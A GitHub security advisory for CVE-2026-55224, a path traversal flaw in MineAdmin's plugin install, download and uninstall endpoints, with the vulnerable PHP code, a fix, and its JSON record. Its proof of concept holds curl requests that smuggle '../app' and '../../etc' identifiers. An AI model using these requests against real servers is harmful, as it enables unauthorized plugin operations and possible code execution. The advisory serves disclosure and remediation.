GHSA-59XM-4M8C-G3XJ

Vulnerability from github – Published: 2026-08-18 20:40 – Updated: 2026-08-18 20:40
VLAI
Summary
MineAdmin Vulnerable to Path Traversal via Unsanitized identifier in Plugin Install/Uninstall
Details

Path Traversal via Unsanitized Identifier in Plugin Install/Uninstall

Summary

The app-store plugin service concatenates unsanitized user-supplied identifier values directly into file system paths. An attacker can use path traversal sequences (e.g., ../) to read, install, or uninstall plugins from arbitrary directories, and potentially execute arbitrary composer commands.

Vulnerable Code

File: plugin/mine-admin/app-store/src/Service/Service.php

// Line 32 - download(): path traversal via identifier
public function download(array $params): bool
{
    if (empty($params['identifier']) || empty($params['version'])) {
        $this->throwParamsFail();
    }
    $service = make(AppStoreServiceImpl::class);
    if (! is_dir(BASE_PATH . '/plugin/' . $params['identifier'])) {  // Path traversal
        $result = $service->download($params['identifier'], $params['version']);
        // ...
    }
    return true;
}

// Line 48 - install(): path traversal + Plugin::install() with raw identifier
public function install(array $params): bool
{
    // ...
    $path = BASE_PATH . '/plugin/' . $params['identifier'];  // Path traversal
    if (file_exists($path . '/install.lock')) {
        $this->throwAppInstalled();
    }
    Plugin::install($params['identifier']);  // May run composer commands with traversal path
    return true;
}

// Line 70 - unInstall(): same pattern
public function unInstall(array $params): bool
{
    // ...
    $path = BASE_PATH . '/plugin/' . $params['identifier'];  // Path traversal
    Plugin::uninstall($params['identifier']);  // Arbitrary uninstall
    return true;
}

File: plugin/mine-admin/app-store/src/Controller/IndexController.php (lines 25-26)

#[Controller(prefix: 'admin/plugin/store')]
#[Middleware(middleware: AccessTokenMiddleware::class, priority: 100)]
// Only AccessTokenMiddleware -- no PermissionMiddleware (see GM-4340)

Proof of Concept

# Install a "plugin" from a traversed path, potentially triggering composer on
# arbitrary directories
curl -X POST "http://localhost:9501/admin/plugin/store/install" \
  -H "Authorization: Bearer <JWT_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"identifier": "../app", "version": "1.0.0"}'

# This resolves to BASE_PATH/plugin/../app = BASE_PATH/app
# Plugin::install("../app") processes the application directory as a plugin

# Check if arbitrary path exists:
curl -X POST "http://localhost:9501/admin/plugin/store/download" \
  -H "Authorization: Bearer <JWT_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"identifier": "../../etc", "version": "1.0.0"}'

Impact

  • Path traversal enables reading directory existence outside the plugin directory
  • Plugin::install() with a traversed identifier may run composer commands on arbitrary directories
  • Combined with GM-4340 (missing PermissionMiddleware), any authenticated user can exploit this
  • Could lead to arbitrary code execution depending on Plugin::install() implementation

Remediation

Validate and sanitize the identifier parameter to reject path traversal sequences. Use basename() or a strict regex allowlist (e.g., ^[a-zA-Z0-9_-]+$) before concatenating into file paths.\n\n---\n\nUpdate: This finding has now been fully reproduced and validated in a Docker environment. The vulnerability is confirmed exploitable as described in the original report.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "mineadmin/mineadmin"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.2.0-alpha.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55224"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-18T20:40:37Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Path Traversal via Unsanitized Identifier in Plugin Install/Uninstall\n\n### Summary\nThe app-store plugin service concatenates unsanitized user-supplied `identifier` values directly into file system paths. An attacker can use path traversal sequences (e.g., `../`) to read, install, or uninstall plugins from arbitrary directories, and potentially execute arbitrary composer commands.\n\n### Vulnerable Code\n\n**File:** `plugin/mine-admin/app-store/src/Service/Service.php`\n\n```php\n// Line 32 - download(): path traversal via identifier\npublic function download(array $params): bool\n{\n    if (empty($params[\u0027identifier\u0027]) || empty($params[\u0027version\u0027])) {\n        $this-\u003ethrowParamsFail();\n    }\n    $service = make(AppStoreServiceImpl::class);\n    if (! is_dir(BASE_PATH . \u0027/plugin/\u0027 . $params[\u0027identifier\u0027])) {  // Path traversal\n        $result = $service-\u003edownload($params[\u0027identifier\u0027], $params[\u0027version\u0027]);\n        // ...\n    }\n    return true;\n}\n\n// Line 48 - install(): path traversal + Plugin::install() with raw identifier\npublic function install(array $params): bool\n{\n    // ...\n    $path = BASE_PATH . \u0027/plugin/\u0027 . $params[\u0027identifier\u0027];  // Path traversal\n    if (file_exists($path . \u0027/install.lock\u0027)) {\n        $this-\u003ethrowAppInstalled();\n    }\n    Plugin::install($params[\u0027identifier\u0027]);  // May run composer commands with traversal path\n    return true;\n}\n\n// Line 70 - unInstall(): same pattern\npublic function unInstall(array $params): bool\n{\n    // ...\n    $path = BASE_PATH . \u0027/plugin/\u0027 . $params[\u0027identifier\u0027];  // Path traversal\n    Plugin::uninstall($params[\u0027identifier\u0027]);  // Arbitrary uninstall\n    return true;\n}\n```\n\n**File:** `plugin/mine-admin/app-store/src/Controller/IndexController.php` (lines 25-26)\n\n```php\n#[Controller(prefix: \u0027admin/plugin/store\u0027)]\n#[Middleware(middleware: AccessTokenMiddleware::class, priority: 100)]\n// Only AccessTokenMiddleware -- no PermissionMiddleware (see GM-4340)\n```\n\n### Proof of Concept\n\n```bash\n# Install a \"plugin\" from a traversed path, potentially triggering composer on\n# arbitrary directories\ncurl -X POST \"http://localhost:9501/admin/plugin/store/install\" \\\n  -H \"Authorization: Bearer \u003cJWT_TOKEN\u003e\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"identifier\": \"../app\", \"version\": \"1.0.0\"}\u0027\n\n# This resolves to BASE_PATH/plugin/../app = BASE_PATH/app\n# Plugin::install(\"../app\") processes the application directory as a plugin\n\n# Check if arbitrary path exists:\ncurl -X POST \"http://localhost:9501/admin/plugin/store/download\" \\\n  -H \"Authorization: Bearer \u003cJWT_TOKEN\u003e\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"identifier\": \"../../etc\", \"version\": \"1.0.0\"}\u0027\n```\n\n### Impact\n\n- Path traversal enables reading directory existence outside the plugin directory\n- `Plugin::install()` with a traversed identifier may run composer commands on arbitrary directories\n- Combined with GM-4340 (missing PermissionMiddleware), any authenticated user can exploit this\n- Could lead to arbitrary code execution depending on `Plugin::install()` implementation\n\n### Remediation\n\nValidate and sanitize the `identifier` parameter to reject path traversal sequences. Use `basename()` or a strict regex allowlist (e.g., `^[a-zA-Z0-9_-]+$`) before concatenating into file paths.\\n\\n---\\n\\n**Update:** This finding has now been fully reproduced and validated in a Docker environment. The vulnerability is confirmed exploitable as described in the original report.",
  "id": "GHSA-59xm-4m8c-g3xj",
  "modified": "2026-08-18T20:40:37Z",
  "published": "2026-08-18T20:40:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mineadmin/MineAdmin/security/advisories/GHSA-59xm-4m8c-g3xj"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mineadmin/MineAdmin/commit/ca41902a2a5422676227e5088f4cc1dec06044f1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mineadmin/MineAdmin"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mineadmin/MineAdmin/releases/tag/v3.2.0-alpha.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "MineAdmin Vulnerable to Path Traversal via Unsanitized identifier in Plugin Install/Uninstall"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…